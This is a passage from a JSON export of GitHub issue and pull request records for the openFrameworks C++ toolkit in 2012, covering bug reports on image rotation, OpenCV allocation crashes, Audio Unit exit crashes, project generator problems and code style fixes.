1","labels":[],"closed_at":"2012-04-08T16:45:20Z","created_at":"2012-03-29T22:38:39Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3889571,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1125.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1125","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1125.patch"}},{"updated_at":"2012-04-09T17:22:57Z","body":"if you do \r\n\r\n```c++\r\nofImage test;\r\ntest.loadImage(\"whichever.jpg\");\r\ntest.rotate90(1);\r\n```\r\n\r\nyou get a black image with the correct changed width and height.\r\n\r\nall other possible params to rotate90 work correctly. \r\n\r\nThe mistake must be here\r\n\r\nhttps://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/graphics/ofPixels.cpp#L481\r\n\r\n```c++\r\nif(rotation == 1){\r\n\tPixelType * srcPixels = pixels;\r\n\tfor (int i = 0; i < height; i++){\r\n\t\tPixelType * dstPixels = dst.getPixels() + (strideDst - channels*(i+1));\r\n\t\tfor (int j = 0; j < width; j++){\r\n\t\t\tfor (int k = 0; k < channels; k++){\r\n\t\t\t\tdstPixels[k] = srcPixels[k];\r\n\t\t\t}\r\n\t\t\tsrcPixels += channels;\r\n\t\t\tdstPixels += strideDst;\r\n\t\t}\r\n\t}\r\n} \r\n```\r\n\r\nbut I haven't been able to figure it out","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1123","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1123,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1123","assignee":null,"title":"ofPixels::rotate90(nRotations) fails with nRotations = 1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-04-09T17:22:57Z","created_at":"2012-03-29T16:35:55Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3883416,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T21:15:30Z","body":"right now you can get a nasty crash if you try and draw a cv image that hasn't been allocated. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1122","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1122,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1122","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv updateTexture and getPixelsRef should check for allocation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-04-09T21:13:14Z","created_at":"2012-03-29T15:40:25Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3882327,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:23:28Z","body":"Fixes the createProjects.py script to work correctly with the new examples directory structure (including ignoring gitignore and gitkeep files).\r\n\r\nEDIT: sorry I realised this is going to be deprecated by the project generator! I needed it to work today and forgot to go digging...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1121","comments":0,"milestone":null,"number":1121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1121","assignee":null,"title":"Bugfix: windows code::blocks createprojects.py script","labels":[],"closed_at":"2012-03-29T16:23:28Z","created_at":"2012-03-29T03:18:37Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3869447,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1121.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1121","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1121.patch"}},{"updated_at":"2012-03-28T14:59:37Z","body":"hi guys,\r\n\r\nive added support to display OF apps on External Displays from the iPhone/iPad over VGA and AirPlay.\r\nthere is some cool possibilities for gaming and also using iOS devices for live performance visuals.\r\n\r\nthere is quite a lot of changes in this feature.\r\ni had to make some changes to the ES1 renderer to get resizing of the EAGLView working properly.\r\nwill need to apply similar changes to ES2 but not sure what the current status of ES2 is...?? who is the best person to chat to about this?\r\n\r\nthere is an iosExternalDisplayExample included.\r\nyou can test on Simulator by selecting Hardware => TV out => and select an external display.\r\nto test on the device, connect to a tv/projector using a Apple VGA Adapter or connect to your Apple TV using AirPlay. here is how => http://support.apple.com/kb/HT5209?viewlocale=en_US\r\n\r\nmirroring will work on devices that support it (iPhone 4S, iPad2, iPad3).\r\n\r\nfixes #436","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1119","comments":4,"milestone":null,"number":1119,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1119","assignee":null,"title":"feature - iOS External Display support for VGA and AirPlay","labels":[],"closed_at":"2012-03-28T14:45:13Z","created_at":"2012-03-28T14:17:44Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3853447,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1119.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1119","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1119.patch"}},{"updated_at":"2012-03-26T12:21:41Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1113","comments":1,"milestone":null,"number":1113,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1113","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[],"closed_at":"2012-03-26T12:21:41Z","created_at":"2012-03-26T12:12:07Z","state":"closed","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807464,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T15:05:42Z","body":"Further fixes to the code style. Closes #1072 (again).\r\n\r\n`sp_angle_word=add` fixes Elliot's problem where `vector particles;` turns into `vectorparticles;` We actually want a space there, right, @ofTheo?\r\n\r\n`tok_split_gte` fixes the problem where a `>=` gets turned into a template.\r\n\r\nThe rest fixes there problem where existing alignment in variable declarations and definitions was not removed.\r\nAlso, I fixed some alignment and spacing problems I discovered w.r.t `&` and `*`.\r\n\r\n@elliotwoods, @ofTheo: Could you please take a look if it's good now? I checked that OF compiles, and browsed through the changes compared to before my fixes, and it looks good to me.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1111","comments":0,"milestone":null,"number":1111,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1111","assignee":null,"title":"Codestyle fixes","labels":[],"closed_at":"2012-03-26T15:05:42Z","created_at":"2012-03-26T12:04:30Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807368,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1111.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1111","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1111.patch"}},{"updated_at":"2012-05-16T11:44:58Z","body":"*As good as done, this might as well make it into 0071, see below.*\r\n\r\n~~Relevant issue #1081. This is the first round of fixes to the existing structure. \r\nI'd like to complete/refine the overhaul, but make the changes visible for everyone, so please DON'T MERGE this yet. ~~\r\n~~Better, please take a look at #1081, and answer my questions. :-)~~","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1107","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1107","assignee":null,"title":"Gitignore structure overhaul","labels":[],"closed_at":"2012-05-16T11:44:58Z","created_at":"2012-03-24T18:13:45Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3793561,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1107.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1107","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1107.patch"}},{"updated_at":"2012-03-23T13:10:45Z","body":"heavy style rewrite of advanced3dExample\r\nThe suggestion is still out to split it into multiple smaller examples (hence viewportExample)\r\nbut bit worried that adding lots of examples now is probably going to be rejected \r\n\r\nSo focused mostly on updating style of advanced3dExample to follow style guides\r\n\r\nand ran uncrustify afterwards","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1106","comments":0,"milestone":null,"number":1106,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1106","assignee":null,"title":"style fixes to advanced3dExample, added viewportExample","labels":[],"closed_at":"2012-03-23T13:10:45Z","created_at":"2012-03-23T12:01:37Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3778865,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1106.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1106","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1106.patch"}},{"updated_at":"2012-03-23T14:42:04Z","body":"heavy style rewrite of advanced3dExample\r\nThe suggestion is still out to split it into multiple smaller examples (hence viewportExample)\r\nbut bit worried that adding lots of examples now is probably going to be rejected \r\n\r\nSo focused mostly on updating style of advanced3dExample to follow style guides\r\n\r\nand ran uncrustify afterwards","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1105","comments":3,"milestone":null,"number":1105,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1105","assignee":null,"title":"style fixes to advanced3dExample, added viewportExample","labels":[],"closed_at":"2012-03-23T12:01:03Z","created_at":"2012-03-23T12:00:22Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3778844,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1105.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1105","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1105.patch"}},{"updated_at":"2012-03-23T01:00:11Z","body":"Due to https://github.com/gameoverhack/openFrameworks/commit/68a9805c5a76fcf9bb620c317c1ad9087d49e456\r\n\r\nit appears we need to use ofEvents().someEvent instead of ofEvents.someEvent...\r\n\r\n...fixed the advancedEventsExample to use this syntax","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1104","comments":0,"milestone":null,"number":1104,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1104","assignee":null,"title":"Bug fix advanced events example","labels":[],"closed_at":"2012-03-23T01:00:11Z","created_at":"2012-03-23T00:25:41Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3773505,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1104.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1104","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1104.patch"}},{"updated_at":"2012-04-09T17:29:41Z","body":"I guess this is a renaming in progress or gone wrong, but currently PG generates folder for examples which are not there.\r\n\r\n examples/graphics/InstagramLikeImageFilters/\r\n\texamples/video/movieGrabberExample/\r\n\texamples/video/moviePlayerExample/\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1102","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1102,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1102","assignee":null,"title":"PG generates imagined examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-09T17:29:41Z","created_at":"2012-03-21T20:58:28Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3753360,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T20:01:00Z","body":"I just found out that the PG puts a fully populated addons.make file in (presumably - only tested a handful) all examples which don't already have one. This is wrong behaviour and leads to unnecessary compilation of addons which are not even needed for the respective example.\r\n\r\n~~AFAICT, it does not overwrite examples where there is already an addons.make, but I only checked with a couple.~~\r\nEdit: I was wrong, PG indeed writes changes to existing addons.make, too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1101","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1101,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1101","assignee":null,"title":"Project generator messes with addons.make files in example directories","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-22T20:01:00Z","created_at":"2012-03-21T20:45:18Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3753147,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T08:19:08Z","body":"Hi oF team! I'm having a issue while using some Audio Units along with oF. On Cmd-q, I get an EXC_BAD_ACCESS on the line (in ofAppRunner.cpp): \r\n\r\n```C++\r\nwindow->runAppViaInfiniteLoop(OFSAptr.get());\r\n```\r\n\r\nThis happens before my app's exit() gets called, before any destructors get called, and before any callbacks registered to ofEvents().exit get called. This seems to occur while using any units by Native Instruments, though not all 3rd party units are as tempermental. I've tested with both the current develop and master branch as of March 20. Mini reproduction example follows:\r\n\r\n```C++\r\n#include \"testApp.h\"\r\n#include \r\n\r\nAUGraph graph;\r\n\r\nvoid testApp::setup(){\r\n// Replace this with the description for a 3rd party Audio Unit\r\n// that you have installed. Run \"auval -a\" to see a list of\r\n// Audio Units you have available. Not all 3rd party Audio Units\r\n// trigger a crash (though all of NI's seem to). Apple® brand \r\n// Audio Units don't seem to be as tempermental\r\n// \r\n// This description is for Native Instruments' Reaktor 5 synth.\r\n AudioComponentDescription desc = {'aumu', 'NiR5', '-NI-'};\r\n AUNode node; \r\n NewAUGraph(&graph);\r\n AUGraphAddNode(graph, &desc, &node);\r\n AUGraphInitialize(graph);\r\n AUGraphOpen(graph);\r\n \r\n// uncomment this to \"fix\"\r\n// shutdownAUGraph();\r\n}\r\n\r\nvoid testApp::shutdownAUGraph(){\r\n AUGraphClose(graph);\r\n AUGraphUninitialize(graph);\r\n DisposeAUGraph(graph);\r\n}\r\n\r\nvoid testApp::exit(){\r\n shutdownAUGraph();\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1100","comments":8,"milestone":null,"number":1100,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1100","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"EXC_BAD_ACCESS thrown on exit before any exit routines are called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":"2012-05-16T08:19:08Z","created_at":"2012-03-20T15:41:47Z","state":"closed","user":{"url":"https://api.github.com/users/admsyn","gravatar_id":"9bfde17cfd50ff8f12cae51ab1079d72","login":"admsyn","id":609318,"avatar_url":"https://secure.gravatar.com/avatar/9bfde17cfd50ff8f12cae51ab1079d72?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3730068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-17T21:01:03Z","body":"iPhoneGuiExample created by the projectGenerator seems to have an issue with XIB files.\r\nthe XIB is included in the project but can not be viewed inside the xcode project.\r\nin another instance, it was causing the app to crash.\r\n\r\nwhen removing the XIB and adding it back to the project manually, it start working again.\r\nwhich makes me believe its got something to do with the way projectGenerator is adding the XIB to the project.\r\n\r\nive compared the before and after (adding the XIB back manually) and here are the differences in the xcode projects.\r\nnote, the top line is the before and the bottom is the after.\r\n\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; name = MyGuiView.xib; path = gui/MyGuiView.xib; sourceTree = \"\"; };\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; explicitFileType = file; fileEncoding = 30; name = MyGuiView.xib; path = src/gui/MyGuiView.xib; sourceTree = SOURCE_ROOT; };\r\n\r\n/* MyGuiView.xib in Resources */\r\n/* MyGuiView.xib in Sources */","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1099,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1099","assignee":null,"title":"issue with projectGenerator and XIB files.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-17T21:01:02Z","created_at":"2012-03-19T14:27:25Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3710691,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T00:25:28Z","body":"SKIP_INSTALL in iPhone+OF Lib.xcodeproj Build Settings is currently set to NO.\r\nforum users have been reporting this to be causing issues 